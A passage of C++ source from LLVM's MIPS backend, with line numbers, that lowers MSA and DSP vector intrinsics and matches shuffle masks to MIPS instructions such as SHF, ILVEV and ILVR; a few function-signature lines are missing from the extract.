1980 case Intrinsic::mips_mulv_w:
1981 case Intrinsic::mips_mulv_d:
1982 return DAG.getNode(ISD::MUL, DL, Op->getValueType(0), Op->getOperand(1),
1983 Op->getOperand(2));
1984 case Intrinsic::mips_msubv_b:
1985 case Intrinsic::mips_msubv_h:
1986 case Intrinsic::mips_msubv_w:
1987 case Intrinsic::mips_msubv_d: {
1988 EVT ResTy = Op->getValueType(0);
1989 return DAG.getNode(ISD::SUB, SDLoc(Op), ResTy, Op->getOperand(1),
1990 DAG.getNode(ISD::MUL, SDLoc(Op), ResTy,
1991 Op->getOperand(2), Op->getOperand(3)));
1992 }
1993 case Intrinsic::mips_nlzc_b:
1994 case Intrinsic::mips_nlzc_h:
1995 case Intrinsic::mips_nlzc_w:
1996 case Intrinsic::mips_nlzc_d:
1997 return DAG.getNode(ISD::CTLZ, DL, Op->getValueType(0), Op->getOperand(1));
1998 case Intrinsic::mips_nor_v: {
1999 SDValue Res = DAG.getNode(ISD::OR, DL, Op->getValueType(0),
2000 Op->getOperand(1), Op->getOperand(2));
2001 return DAG.getNOT(DL, Res, Res->getValueType(0));
2002 }
2003 case Intrinsic::mips_nori_b: {
2004 SDValue Res = DAG.getNode(ISD::OR, DL, Op->getValueType(0),
2005 Op->getOperand(1),
2006 lowerMSASplatImm(Op, 2, DAG));
2007 return DAG.getNOT(DL, Res, Res->getValueType(0));
2008 }
2009 case Intrinsic::mips_or_v:
2010 return DAG.getNode(ISD::OR, DL, Op->getValueType(0), Op->getOperand(1),
2011 Op->getOperand(2));
2012 case Intrinsic::mips_ori_b:
2013 return DAG.getNode(ISD::OR, DL, Op->getValueType(0),
2014 Op->getOperand(1), lowerMSASplatImm(Op, 2, DAG));
2015 case Intrinsic::mips_pckev_b:
2016 case Intrinsic::mips_pckev_h:
2017 case Intrinsic::mips_pckev_w:
2018 case Intrinsic::mips_pckev_d:
2019 return DAG.getNode(MipsISD::PCKEV, DL, Op->getValueType(0),
2020 Op->getOperand(1), Op->getOperand(2));
2021 case Intrinsic::mips_pckod_b:
2022 case Intrinsic::mips_pckod_h:
2023 case Intrinsic::mips_pckod_w:
2024 case Intrinsic::mips_pckod_d:
2025 return DAG.getNode(MipsISD::PCKOD, DL, Op->getValueType(0),
2026 Op->getOperand(1), Op->getOperand(2));
2027 case Intrinsic::mips_pcnt_b:
2028 case Intrinsic::mips_pcnt_h:
2029 case Intrinsic::mips_pcnt_w:
2030 case Intrinsic::mips_pcnt_d:
2031 return DAG.getNode(ISD::CTPOP, DL, Op->getValueType(0), Op->getOperand(1));
2032 case Intrinsic::mips_sat_s_b:
2033 case Intrinsic::mips_sat_s_h:
2034 case Intrinsic::mips_sat_s_w:
2035 case Intrinsic::mips_sat_s_d:
2036 case Intrinsic::mips_sat_u_b:
2037 case Intrinsic::mips_sat_u_h:
2038 case Intrinsic::mips_sat_u_w:
2039 case Intrinsic::mips_sat_u_d: {
2040 // Report an error for out of range values.
2041 int64_t Max;
2042 switch (Intrinsic) {
2043 case Intrinsic::mips_sat_s_b:
2044 case Intrinsic::mips_sat_u_b: Max = 7; break;
2045 case Intrinsic::mips_sat_s_h:
2046 case Intrinsic::mips_sat_u_h: Max = 15; break;
2047 case Intrinsic::mips_sat_s_w:
2048 case Intrinsic::mips_sat_u_w: Max = 31; break;
2049 case Intrinsic::mips_sat_s_d:
2050 case Intrinsic::mips_sat_u_d: Max = 63; break;
2051 default: llvm_unreachable("Unmatched intrinsic");
2052 }
2053 int64_t Value = cast<ConstantSDNode>(Op->getOperand(2))->getSExtValue();
2054 if (Value < 0 || Value > Max)
2055 report_fatal_error("Immediate out of range");
2056 return SDValue();
2057 }
2058 case Intrinsic::mips_shf_b:
2059 case Intrinsic::mips_shf_h:
2060 case Intrinsic::mips_shf_w: {
2061 int64_t Value = cast<ConstantSDNode>(Op->getOperand(2))->getSExtValue();
2062 if (Value < 0 || Value > 255)
2063 report_fatal_error("Immediate out of range");
2064 return DAG.getNode(MipsISD::SHF, DL, Op->getValueType(0),
2065 Op->getOperand(2), Op->getOperand(1));
2066 }
2067 case Intrinsic::mips_sldi_b:
2068 case Intrinsic::mips_sldi_h:
2069 case Intrinsic::mips_sldi_w:
2070 case Intrinsic::mips_sldi_d: {
2071 // Report an error for out of range values.
2072 int64_t Max;
2073 switch (Intrinsic) {
2074 case Intrinsic::mips_sldi_b: Max = 15; break;
2075 case Intrinsic::mips_sldi_h: Max = 7; break;
2076 case Intrinsic::mips_sldi_w: Max = 3; break;
2077 case Intrinsic::mips_sldi_d: Max = 1; break;
2078 default: llvm_unreachable("Unmatched intrinsic");
2079 }
2080 int64_t Value = cast<ConstantSDNode>(Op->getOperand(3))->getSExtValue();
2081 if (Value < 0 || Value > Max)
2082 report_fatal_error("Immediate out of range");
2083 return SDValue();
2084 }
2085 case Intrinsic::mips_sll_b:
2086 case Intrinsic::mips_sll_h:
2087 case Intrinsic::mips_sll_w:
2088 case Intrinsic::mips_sll_d:
2089 return DAG.getNode(ISD::SHL, DL, Op->getValueType(0), Op->getOperand(1),
2090 truncateVecElts(Op, DAG));
2091 case Intrinsic::mips_slli_b:
2092 case Intrinsic::mips_slli_h:
2093 case Intrinsic::mips_slli_w:
2094 case Intrinsic::mips_slli_d:
2095 return DAG.getNode(ISD::SHL, DL, Op->getValueType(0),
2096 Op->getOperand(1), lowerMSASplatImm(Op, 2, DAG));
2097 case Intrinsic::mips_splat_b:
2098 case Intrinsic::mips_splat_h:
2099 case Intrinsic::mips_splat_w:
2100 case Intrinsic::mips_splat_d:
2101 // We can't lower via VECTOR_SHUFFLE because it requires constant shuffle
2102 // masks, nor can we lower via BUILD_VECTOR & EXTRACT_VECTOR_ELT because
2103 // EXTRACT_VECTOR_ELT can't extract i64's on MIPS32.
2104 // Instead we lower to MipsISD::VSHF and match from there.
2105 return DAG.getNode(MipsISD::VSHF, DL, Op->getValueType(0),
2106 lowerMSASplatZExt(Op, 2, DAG), Op->getOperand(1),
2107 Op->getOperand(1));
2108 case Intrinsic::mips_splati_b:
2109 case Intrinsic::mips_splati_h:
2110 case Intrinsic::mips_splati_w:
2111 case Intrinsic::mips_splati_d:
2112 return DAG.getNode(MipsISD::VSHF, DL, Op->getValueType(0),
2113 lowerMSASplatImm(Op, 2, DAG), Op->getOperand(1),
2114 Op->getOperand(1));
2115 case Intrinsic::mips_sra_b:
2116 case Intrinsic::mips_sra_h:
2117 case Intrinsic::mips_sra_w:
2118 case Intrinsic::mips_sra_d:
2119 return DAG.getNode(ISD::SRA, DL, Op->getValueType(0), Op->getOperand(1),
2120 truncateVecElts(Op, DAG));
2121 case Intrinsic::mips_srai_b:
2122 case Intrinsic::mips_srai_h:
2123 case Intrinsic::mips_srai_w:
2124 case Intrinsic::mips_srai_d:
2125 return DAG.getNode(ISD::SRA, DL, Op->getValueType(0),
2126 Op->getOperand(1), lowerMSASplatImm(Op, 2, DAG));
2127 case Intrinsic::mips_srari_b:
2128 case Intrinsic::mips_srari_h:
2129 case Intrinsic::mips_srari_w:
2130 case Intrinsic::mips_srari_d: {
2131 // Report an error for out of range values.
2132 int64_t Max;
2133 switch (Intrinsic) {
2134 case Intrinsic::mips_srari_b: Max = 7; break;
2135 case Intrinsic::mips_srari_h: Max = 15; break;
2136 case Intrinsic::mips_srari_w: Max = 31; break;
2137 case Intrinsic::mips_srari_d: Max = 63; break;
2138 default: llvm_unreachable("Unmatched intrinsic");
2139 }
2140 int64_t Value = cast<ConstantSDNode>(Op->getOperand(2))->getSExtValue();
2141 if (Value < 0 || Value > Max)
2142 report_fatal_error("Immediate out of range");
2143 return SDValue();
2144 }
2145 case Intrinsic::mips_srl_b:
2146 case Intrinsic::mips_srl_h:
2147 case Intrinsic::mips_srl_w:
2148 case Intrinsic::mips_srl_d:
2149 return DAG.getNode(ISD::SRL, DL, Op->getValueType(0), Op->getOperand(1),
2150 truncateVecElts(Op, DAG));
2151 case Intrinsic::mips_srli_b:
2152 case Intrinsic::mips_srli_h:
2153 case Intrinsic::mips_srli_w:
2154 case Intrinsic::mips_srli_d:
2155 return DAG.getNode(ISD::SRL, DL, Op->getValueType(0),
2156 Op->getOperand(1), lowerMSASplatImm(Op, 2, DAG));
2157 case Intrinsic::mips_srlri_b:
2158 case Intrinsic::mips_srlri_h:
2159 case Intrinsic::mips_srlri_w:
2160 case Intrinsic::mips_srlri_d: {
2161 // Report an error for out of range values.
2162 int64_t Max;
2163 switch (Intrinsic) {
2164 case Intrinsic::mips_srlri_b: Max = 7; break;
2165 case Intrinsic::mips_srlri_h: Max = 15; break;
2166 case Intrinsic::mips_srlri_w: Max = 31; break;
2167 case Intrinsic::mips_srlri_d: Max = 63; break;
2168 default: llvm_unreachable("Unmatched intrinsic");
2169 }
2170 int64_t Value = cast<ConstantSDNode>(Op->getOperand(2))->getSExtValue();
2171 if (Value < 0 || Value > Max)
2172 report_fatal_error("Immediate out of range");
2173 return SDValue();
2174 }
2175 case Intrinsic::mips_subv_b:
2176 case Intrinsic::mips_subv_h:
2177 case Intrinsic::mips_subv_w:
2178 case Intrinsic::mips_subv_d:
2179 return DAG.getNode(ISD::SUB, DL, Op->getValueType(0), Op->getOperand(1),
2180 Op->getOperand(2));
2181 case Intrinsic::mips_subvi_b:
2182 case Intrinsic::mips_subvi_h:
2183 case Intrinsic::mips_subvi_w:
2184 case Intrinsic::mips_subvi_d:
2185 return DAG.getNode(ISD::SUB, DL, Op->getValueType(0),
2186 Op->getOperand(1), lowerMSASplatImm(Op, 2, DAG));
2187 case Intrinsic::mips_vshf_b:
2188 case Intrinsic::mips_vshf_h:
2189 case Intrinsic::mips_vshf_w:
2190 case Intrinsic::mips_vshf_d:
2191 return DAG.getNode(MipsISD::VSHF, DL, Op->getValueType(0),
2192 Op->getOperand(1), Op->getOperand(2), Op->getOperand(3));
2193 case Intrinsic::mips_xor_v:
2194 return DAG.getNode(ISD::XOR, DL, Op->getValueType(0), Op->getOperand(1),
2195 Op->getOperand(2));
2196 case Intrinsic::mips_xori_b:
2197 return DAG.getNode(ISD::XOR, DL, Op->getValueType(0),
2198 Op->getOperand(1), lowerMSASplatImm(Op, 2, DAG));
2199 case Intrinsic::thread_pointer: {
2200 EVT PtrVT = getPointerTy(DAG.getDataLayout());
2201 return DAG.getNode(MipsISD::ThreadPointer, DL, PtrVT);
2202 }
2203 }
2204 }
2205
2206 static SDValue lowerMSALoadIntr(SDValue Op, SelectionDAG &DAG, unsigned Intr,
2207 const MipsSubtarget &Subtarget) {
2208 SDLoc DL(Op);
2209 SDValue ChainIn = Op->getOperand(0);
2210 SDValue Address = Op->getOperand(2);
2211 SDValue Offset = Op->getOperand(3);
2212 EVT ResTy = Op->getValueType(0);
2213 EVT PtrTy = Address->getValueType(0);
2214
2215 // For N64 addresses have the underlying type MVT::i64. This intrinsic
2216 // however takes an i32 signed constant offset. The actual type of the
2217 // intrinsic is a scaled signed i10.
2218 if (Subtarget.isABI_N64())
2219 Offset = DAG.getNode(ISD::SIGN_EXTEND, DL, PtrTy, Offset);
2220
2221 Address = DAG.getNode(ISD::ADD, DL, PtrTy, Address, Offset);
2222 return DAG.getLoad(ResTy, DL, ChainIn, Address, MachinePointerInfo(),
2223 /* Alignment = */ 16);
2224 }
2225
2226 SDValue MipsSETargetLowering::lowerINTRINSIC_W_CHAIN(SDValue Op,
2227 SelectionDAG &DAG) const {
2228 unsigned Intr = cast<ConstantSDNode>(Op->getOperand(1))->getZExtValue();
2229 switch (Intr) {
2230 default:
2231 return SDValue();
2232 case Intrinsic::mips_extp:
2233 return lowerDSPIntr(Op, DAG, MipsISD::EXTP);
2234 case Intrinsic::mips_extpdp:
2235 return lowerDSPIntr(Op, DAG, MipsISD::EXTPDP);
2236 case Intrinsic::mips_extr_w:
2237 return lowerDSPIntr(Op, DAG, MipsISD::EXTR_W);
2238 case Intrinsic::mips_extr_r_w:
2239 return lowerDSPIntr(Op, DAG, MipsISD::EXTR_R_W);
2240 case Intrinsic::mips_extr_rs_w:
2241 return lowerDSPIntr(Op, DAG, MipsISD::EXTR_RS_W);
2242 case Intrinsic::mips_extr_s_h:
2243 return lowerDSPIntr(Op, DAG, MipsISD::EXTR_S_H);
2244 case Intrinsic::mips_mthlip:
2245 return lowerDSPIntr(Op, DAG, MipsISD::MTHLIP);
2246 case Intrinsic::mips_mulsaq_s_w_ph:
2247 return lowerDSPIntr(Op, DAG, MipsISD::MULSAQ_S_W_PH);
2248 case Intrinsic::mips_maq_s_w_phl:
2249 return lowerDSPIntr(Op, DAG, MipsISD::MAQ_S_W_PHL);
2250 case Intrinsic::mips_maq_s_w_phr:
2251 return lowerDSPIntr(Op, DAG, MipsISD::MAQ_S_W_PHR);
2252 case Intrinsic::mips_maq_sa_w_phl:
2253 return lowerDSPIntr(Op, DAG, MipsISD::MAQ_SA_W_PHL);
2254 case Intrinsic::mips_maq_sa_w_phr:
2255 return lowerDSPIntr(Op, DAG, MipsISD::MAQ_SA_W_PHR);
2256 case Intrinsic::mips_dpaq_s_w_ph:
2257 return lowerDSPIntr(Op, DAG, MipsISD::DPAQ_S_W_PH);
2258 case Intrinsic::mips_dpsq_s_w_ph:
2259 return lowerDSPIntr(Op, DAG, MipsISD::DPSQ_S_W_PH);
2260 case Intrinsic::mips_dpaq_sa_l_w:
2261 return lowerDSPIntr(Op, DAG, MipsISD::DPAQ_SA_L_W);
2262 case Intrinsic::mips_dpsq_sa_l_w:
2263 return lowerDSPIntr(Op, DAG, MipsISD::DPSQ_SA_L_W);
2264 case Intrinsic::mips_dpaqx_s_w_ph:
2265 return lowerDSPIntr(Op, DAG, MipsISD::DPAQX_S_W_PH);
2266 case Intrinsic::mips_dpaqx_sa_w_ph:
2267 return lowerDSPIntr(Op, DAG, MipsISD::DPAQX_SA_W_PH);
2268 case Intrinsic::mips_dpsqx_s_w_ph:
2269 return lowerDSPIntr(Op, DAG, MipsISD::DPSQX_S_W_PH);
2270 case Intrinsic::mips_dpsqx_sa_w_ph:
2271 return lowerDSPIntr(Op, DAG, MipsISD::DPSQX_SA_W_PH);
2272 case Intrinsic::mips_ld_b:
2273 case Intrinsic::mips_ld_h:
2274 case Intrinsic::mips_ld_w:
2275 case Intrinsic::mips_ld_d:
2276 return lowerMSALoadIntr(Op, DAG, Intr, Subtarget);
2277 }
2278 }
2279
2280 static SDValue lowerMSAStoreIntr(SDValue Op, SelectionDAG &DAG, unsigned Intr,
2281 const MipsSubtarget &Subtarget) {
2282 SDLoc DL(Op);
2283 SDValue ChainIn = Op->getOperand(0);
2284 SDValue Value = Op->getOperand(2);
2285 SDValue Address = Op->getOperand(3);
2286 SDValue Offset = Op->getOperand(4);
2287 EVT PtrTy = Address->getValueType(0);
2288
2289 // For N64 addresses have the underlying type MVT::i64. This intrinsic
2290 // however takes an i32 signed constant offset. The actual type of the
2291 // intrinsic is a scaled signed i10.
2292 if (Subtarget.isABI_N64())
2293 Offset = DAG.getNode(ISD::SIGN_EXTEND, DL, PtrTy, Offset);
2294
2295 Address = DAG.getNode(ISD::ADD, DL, PtrTy, Address, Offset);
2296
2297 return DAG.getStore(ChainIn, DL, Value, Address, MachinePointerInfo(),
2298 /* Alignment = */ 16);
2299 }
2300
2301 SDValue MipsSETargetLowering::lowerINTRINSIC_VOID(SDValue Op,
2302 SelectionDAG &DAG) const {
2303 unsigned Intr = cast<ConstantSDNode>(Op->getOperand(1))->getZExtValue();
2304 switch (Intr) {
2305 default:
2306 return SDValue();
2307 case Intrinsic::mips_st_b:
2308 case Intrinsic::mips_st_h:
2309 case Intrinsic::mips_st_w:
2310 case Intrinsic::mips_st_d:
2311 return lowerMSAStoreIntr(Op, DAG, Intr, Subtarget);
2312 }
2313 }
2314
2315 /// \brief Check if the given BuildVectorSDNode is a splat.
2316 /// This method currently relies on DAG nodes being reused when equivalent,
2317 /// so it's possible for this to return false even when isConstantSplat returns
2318 /// true.
2319 static bool isSplatVector(const BuildVectorSDNode *N) {
2320 unsigned int nOps = N->getNumOperands();
2321 assert(nOps > 1 && "isSplatVector has 0 or 1 sized build vector");
2322
2323 SDValue Operand0 = N->getOperand(0);
2324
2325 for (unsigned int i = 1; i < nOps; ++i) {
2326 if (N->getOperand(i) != Operand0)
2327 return false;
2328 }
2329
2330 return true;
2331 }
2332
2333 // Lower ISD::EXTRACT_VECTOR_ELT into MipsISD::VEXTRACT_SEXT_ELT.
2334 //
2335 // The non-value bits resulting from ISD::EXTRACT_VECTOR_ELT are undefined. We
2336 // choose to sign-extend but we could have equally chosen zero-extend. The
2337 // DAGCombiner will fold any sign/zero extension of the ISD::EXTRACT_VECTOR_ELT
2338 // result into this node later (possibly changing it to a zero-extend in the
2339 // process).
2340 SDValue MipsSETargetLowering::
2341 lowerEXTRACT_VECTOR_ELT(SDValue Op, SelectionDAG &DAG) const {
2342 SDLoc DL(Op);
2343 EVT ResTy = Op->getValueType(0);
2344 SDValue Op0 = Op->getOperand(0);
2345 EVT VecTy = Op0->getValueType(0);
2346
2347 if (!VecTy.is128BitVector())
2348 return SDValue();
2349
2350 if (ResTy.isInteger()) {
2351 SDValue Op1 = Op->getOperand(1);
2352 EVT EltTy = VecTy.getVectorElementType();
2353 return DAG.getNode(MipsISD::VEXTRACT_SEXT_ELT, DL, ResTy, Op0, Op1,
2354 DAG.getValueType(EltTy));
2355 }
2356
2357 return Op;
2358 }
2359
2360 static bool isConstantOrUndef(const SDValue Op) {
2361 if (Op->isUndef())
2362 return true;
2363 if (isa<ConstantSDNode>(Op))
2364 return true;
2365 if (isa<ConstantFPSDNode>(Op))
2366 return true;
2367 return false;
2368 }
2369
2371 for (unsigned i = 0; i < Op->getNumOperands(); ++i)
2372 if (isConstantOrUndef(Op->getOperand(i)))
2373 return true;
2374 return false;
2375 }
2376
2377 // Lowers ISD::BUILD_VECTOR into appropriate SelectionDAG nodes for the
2378 // backend.
2379 //
2380 // Lowers according to the following rules:
2381 // - Constant splats are legal as-is as long as the SplatBitSize is a power of
2382 // 2 less than or equal to 64 and the value fits into a signed 10-bit
2383 // immediate
2384 // - Constant splats are lowered to bitconverted BUILD_VECTORs if SplatBitSize
2385 // is a power of 2 less than or equal to 64 and the value does not fit into a
2386 // signed 10-bit immediate
2387 // - Non-constant splats are legal as-is.
2388 // - Non-constant non-splats are lowered to sequences of INSERT_VECTOR_ELT.
2389 // - All others are illegal and must be expanded.
2390 SDValue MipsSETargetLowering::lowerBUILD_VECTOR(SDValue Op,
2391 SelectionDAG &DAG) const {
2392 BuildVectorSDNode *Node = cast<BuildVectorSDNode>(Op);
2393 EVT ResTy = Op->getValueType(0);
2394 SDLoc DL(Op);
2395 APInt SplatValue, SplatUndef;
2396 unsigned SplatBitSize;
2397 bool HasAnyUndefs;
2398
2399 if (!Subtarget.hasMSA() || !ResTy.is128BitVector())
2400 return SDValue();
2401
2402 if (Node->isConstantSplat(SplatValue, SplatUndef, SplatBitSize,
2403 HasAnyUndefs, 8,
2404 !Subtarget.isLittle()) && SplatBitSize <= 64) {
2405 // We can only cope with 8, 16, 32, or 64-bit elements
2406 if (SplatBitSize != 8 && SplatBitSize != 16 && SplatBitSize != 32 &&
2407 SplatBitSize != 64)
2408 return SDValue();
2409
2410 // If the value isn't an integer type we will have to bitcast
2411 // from an integer type first. Also, if there are any undefs, we must
2412 // lower them to defined values first.
2413 if (ResTy.isInteger() && !HasAnyUndefs)
2414 return Op;
2415
2416 EVT ViaVecTy;
2417
2418 switch (SplatBitSize) {
2419 default:
2420 return SDValue();
2421 case 8:
2422 ViaVecTy = MVT::v16i8;
2423 break;
2424 case 16:
2425 ViaVecTy = MVT::v8i16;
2426 break;
2427 case 32:
2428 ViaVecTy = MVT::v4i32;
2429 break;
2430 case 64:
2431 // There's no fill.d to fall back on for 64-bit values
2432 return SDValue();
2433 }
2434
2435 // SelectionDAG::getConstant will promote SplatValue appropriately.
2436 SDValue Result = DAG.getConstant(SplatValue, DL, ViaVecTy);
2437
2438 // Bitcast to the type we originally wanted
2439 if (ViaVecTy != ResTy)
2440 Result = DAG.getNode(ISD::BITCAST, SDLoc(Node), ResTy, Result);
2441
2442 return Result;
2443 } else if (isSplatVector(Node))
2444 return Op;
2445 else if (!isConstantOrUndefBUILD_VECTOR(Node)) {
2446 // Use INSERT_VECTOR_ELT operations rather than expand to stores.
2447 // The resulting code is the same length as the expansion, but it doesn't
2448 // use memory operations
2449 EVT ResTy = Node->getValueType(0);
2450
2451 assert(ResTy.isVector());
2452
2453 unsigned NumElts = ResTy.getVectorNumElements();
2454 SDValue Vector = DAG.getUNDEF(ResTy);
2455 for (unsigned i = 0; i < NumElts; ++i) {
2456 Vector = DAG.getNode(ISD::INSERT_VECTOR_ELT, DL, ResTy, Vector,
2457 Node->getOperand(i),
2458 DAG.getConstant(i, DL, MVT::i32));
2459 }
2460 return Vector;
2461 }
2462
2463 return SDValue();
2464 }
2465
2466 // Lower VECTOR_SHUFFLE into SHF (if possible).
2467 //
2468 // SHF splits the vector into blocks of four elements, then shuffles these
2469 // elements according to a <4 x i2> constant (encoded as an integer immediate).
2470 //
2471 // It is therefore possible to lower into SHF when the mask takes the form:
2472 // <a, b, c, d, a+4, b+4, c+4, d+4, a+8, b+8, c+8, d+8, ...>
2473 // When undef's appear they are treated as if they were whatever value is
2474 // necessary in order to fit the above forms.
2475 //
2476 // For example:
2477 // %2 = shufflevector <8 x i16> %0, <8 x i16> undef,
2478 // <8 x i32> <i32 3, i32 2, i32 1, i32 0,
2479 // i32 7, i32 6, i32 5, i32 4>
2480 // is lowered to:
2481 // (SHF_H $w0, $w1, 27)
2482 // where the 27 comes from:
2483 // 3 + (2 << 2) + (1 << 4) + (0 << 6)
2485 SmallVector<int, 16> Indices,
2486 SelectionDAG &DAG) {
2487 int SHFIndices[4] = { -1, -1, -1, -1 };
2488
2489 if (Indices.size() < 4)
2490 return SDValue();
2491
2492 for (unsigned i = 0; i < 4; ++i) {
2493 for (unsigned j = i; j < Indices.size(); j += 4) {
2494 int Idx = Indices[j];
2495
2496 // Convert from vector index to 4-element subvector index
2497 // If an index refers to an element outside of the subvector then give up
2498 if (Idx != -1) {
2499 Idx -= 4 * (j / 4);
2500 if (Idx < 0 || Idx >= 4)
2501 return SDValue();
2502 }
2503
2504 // If the mask has an undef, replace it with the current index.
2505 // Note that it might still be undef if the current index is also undef
2506 if (SHFIndices[i] == -1)
2507 SHFIndices[i] = Idx;
2508
2509 // Check that non-undef values are the same as in the mask. If they
2510 // aren't then give up
2511 if (!(Idx == -1 || Idx == SHFIndices[i]))
2512 return SDValue();
2513 }
2514 }
2515
2516 // Calculate the immediate. Replace any remaining undefs with zero
2517 APInt Imm(32, 0);
2518 for (int i = 3; i >= 0; --i) {
2519 int Idx = SHFIndices[i];
2520
2521 if (Idx == -1)
2522 Idx = 0;
2523
2524 Imm <<= 2;
2525 Imm |= Idx & 0x3;
2526 }
2527
2528 SDLoc DL(Op);
2529 return DAG.getNode(MipsISD::SHF, DL, ResTy,
2530 DAG.getConstant(Imm, DL, MVT::i32), Op->getOperand(0));
2531 }
2532
2533 /// Determine whether a range fits a regular pattern of values.
2534 /// This function accounts for the possibility of jumping over the End iterator.
2535 template <typename ValType>
2536 static bool
2538 unsigned CheckStride,
2540 ValType ExpectedIndex, unsigned ExpectedIndexStride) {
2541 auto &I = Begin;
2542
2543 while (I != End) {
2544 if (*I != -1 && *I != ExpectedIndex)
2545 return false;
2546 ExpectedIndex += ExpectedIndexStride;
2547
2548 // Incrementing past End is undefined behaviour so we must increment one
2549 // step at a time and check for End at each step.
2550 for (unsigned n = 0; n < CheckStride && I != End; ++n, ++I)
2551 ; // Empty loop body.
2552 }
2553 return true;
2554 }
2555
2556 // Determine whether VECTOR_SHUFFLE is a SPLATI.
2557 //
2558 // It is a SPLATI when the mask is:
2559 // <x, x, x, ...>
2560 // where x is any valid index.
2561 //
2562 // When undef's appear in the mask they are treated as if they were whatever
2563 // value is necessary in order to fit the above form.
2564 static bool isVECTOR_SHUFFLE_SPLATI(SDValue Op, EVT ResTy,
2565 SmallVector<int, 16> Indices,
2566 SelectionDAG &DAG) {
2567 assert((Indices.size() % 2) == 0);
2568
2569 int SplatIndex = -1;
2570 for (const auto &V : Indices) {
2571 if (V != -1) {
2572 SplatIndex = V;
2573 break;
2574 }
2575 }
2576
2577 return fitsRegularPattern<int>(Indices.begin(), 1, Indices.end(), SplatIndex,
2578 0);
2579 }
2580
2581 // Lower VECTOR_SHUFFLE into ILVEV (if possible).
2582 //
2583 // ILVEV interleaves the even elements from each vector.
2584 //
2585 // It is possible to lower into ILVEV when the mask consists of two of the
2586 // following forms interleaved:
2587 // <0, 2, 4, ...>
2588 // <n, n+2, n+4, ...>
2589 // where n is the number of elements in the vector.
2590 // For example:
2591 // <0, 0, 2, 2, 4, 4, ...>
2592 // <0, n, 2, n+2, 4, n+4, ...>
2593 //
2594 // When undef's appear in the mask they are treated as if they were whatever
2595 // value is necessary in order to fit the above forms.
2597 SmallVector<int, 16> Indices,
2598 SelectionDAG &DAG) {
2599 assert((Indices.size() % 2) == 0);
2600
2601 SDValue Wt;
2602 SDValue Ws;
2603 const auto &Begin = Indices.begin();
2604 const auto &End = Indices.end();
2605
2606 // Check even elements are taken from the even elements of one half or the
2607 // other and pick an operand accordingly.
2608 if (fitsRegularPattern<int>(Begin, 2, End, 0, 2))
2609 Wt = Op->getOperand(0);
2610 else if (fitsRegularPattern<int>(Begin, 2, End, Indices.size(), 2))
2611 Wt = Op->getOperand(1);
2612 else
2613 return SDValue();
2614
2615 // Check odd elements are taken from the even elements of one half or the
2616 // other and pick an operand accordingly.
2617 if (fitsRegularPattern<int>(Begin + 1, 2, End, 0, 2))
2618 Ws = Op->getOperand(0);
2619 else if (fitsRegularPattern<int>(Begin + 1, 2, End, Indices.size(), 2))
2620 Ws = Op->getOperand(1);
2621 else
2622 return SDValue();
2623
2624 return DAG.getNode(MipsISD::ILVEV, SDLoc(Op), ResTy, Ws, Wt);
2625 }
2626
2627 // Lower VECTOR_SHUFFLE into ILVOD (if possible).
2628 //
2629 // ILVOD interleaves the odd elements from each vector.
2630 //
2631 // It is possible to lower into ILVOD when the mask consists of two of the
2632 // following forms interleaved:
2633 // <1, 3, 5, ...>
2634 // <n+1, n+3, n+5, ...>
2635 // where n is the number of elements in the vector.
2636 // For example:
2637 // <1, 1, 3, 3, 5, 5, ...>
2638 // <1, n+1, 3, n+3, 5, n+5, ...>
2639 //
2640 // When undef's appear in the mask they are treated as if they were whatever
2641 // value is necessary in order to fit the above forms.
2643 SmallVector<int, 16> Indices,
2644 SelectionDAG &DAG) {
2645 assert((Indices.size() % 2) == 0);
2646
2647 SDValue Wt;
2648 SDValue Ws;
2649 const auto &Begin = Indices.begin();
2650 const auto &End = Indices.end();
2651
2652 // Check even elements are taken from the odd elements of one half or the
2653 // other and pick an operand accordingly.
2654 if (fitsRegularPattern<int>(Begin, 2, End, 1, 2))
2655 Wt = Op->getOperand(0);
2656 else if (fitsRegularPattern<int>(Begin, 2, End, Indices.size() + 1, 2))
2657 Wt = Op->getOperand(1);
2658 else
2659 return SDValue();
2660
2661 // Check odd elements are taken from the odd elements of one half or the
2662 // other and pick an operand accordingly.
2663 if (fitsRegularPattern<int>(Begin + 1, 2, End, 1, 2))
2664 Ws = Op->getOperand(0);
2665 else if (fitsRegularPattern<int>(Begin + 1, 2, End, Indices.size() + 1, 2))
2666 Ws = Op->getOperand(1);
2667 else
2668 return SDValue();
2669
2670 return DAG.getNode(MipsISD::ILVOD, SDLoc(Op), ResTy, Wt, Ws);
2671 }
2672
2673 // Lower VECTOR_SHUFFLE into ILVR (if possible).
2674 //
2675 // ILVR interleaves consecutive elements from the right (lowest-indexed) half of
2676 // each vector.
2677 //
2678 // It is possible to lower into ILVR when the mask consists of two of the
2679 // following forms interleaved:
2680 // <0, 1, 2, ...>
2681 // <n, n+1, n+2, ...>
2682 // where n is the number of elements in the vector.
2683 // For example:
2684 // <0, 0, 1, 1, 2, 2, ...>
2685 // <0, n, 1, n+1, 2, n+2, ...>
2686 //
2687 // When undef's appear in the mask they are treated as if they were whatever
2688 // value is necessary in order to fit the above forms.
2690 SmallVector<int, 16> Indices,
2691 SelectionDAG &DAG) {
2692 assert((Indices.size() % 2) == 0);
2693
2694 SDValue Wt;
2695 SDValue Ws;
2696 const auto &Begin = Indices.begin();
2697 const auto &End = Indices.end();
2698
2699 // Check even elements are taken from the right (lowest-indexed) elements of
2700 // one half or the other and pick an operand accordingly.
2701 if (fitsRegularPattern<int>(Begin, 2, End, 0, 1))
2702 Wt = Op->getOperand(0);
2703 else if (fitsRegularPattern<int>(Begin, 2, End, Indices.size(), 1))
2704 Wt = Op->getOperand(1);
2705 else
2706 return SDValue();
2707
2708 // Check odd elements are taken from the right (lowest-indexed) elements of
2709 // one half or the other and pick an operand accordingly.
2710 if (fitsRegularPattern<int>(Begin + 1, 2, End, 0, 1))
2711 Ws = Op->getOperand(0);
2712 else if (fitsRegularPattern<int>(Begin + 1, 2, End, Indices.size(), 1))
2713 Ws = Op->getOperand(1);
2714 else
2715 return SDValue();
2716
2717 return DAG.getNode(MipsISD::ILVR, SDLoc(Op), ResTy, Ws, Wt);
2718 }
2719
2720 // Lower VECTOR_SHUFFLE into ILVL (if possible).
2721 //
2722 // ILVL interleaves consecutive elements from the left (highest-indexed) half
2723 // of each vector.
2724 //
2725 // It is possible to lower into ILVL when the mask consists of two of the
2726 // following forms interleaved:
2727 // <x, x+1, x+2, ...>
2728 // <n+x, n+x+1, n+x+2, ...>
2729 // where n is the number of elements in the vector and x is half n.
2730 // For example:
2731 // <x, x, x+1, x+1, x+2, x+2, ...>
2732 // <x, n+x, x+1, n+x+1, x+2, n+x+2, ...>
2733 //
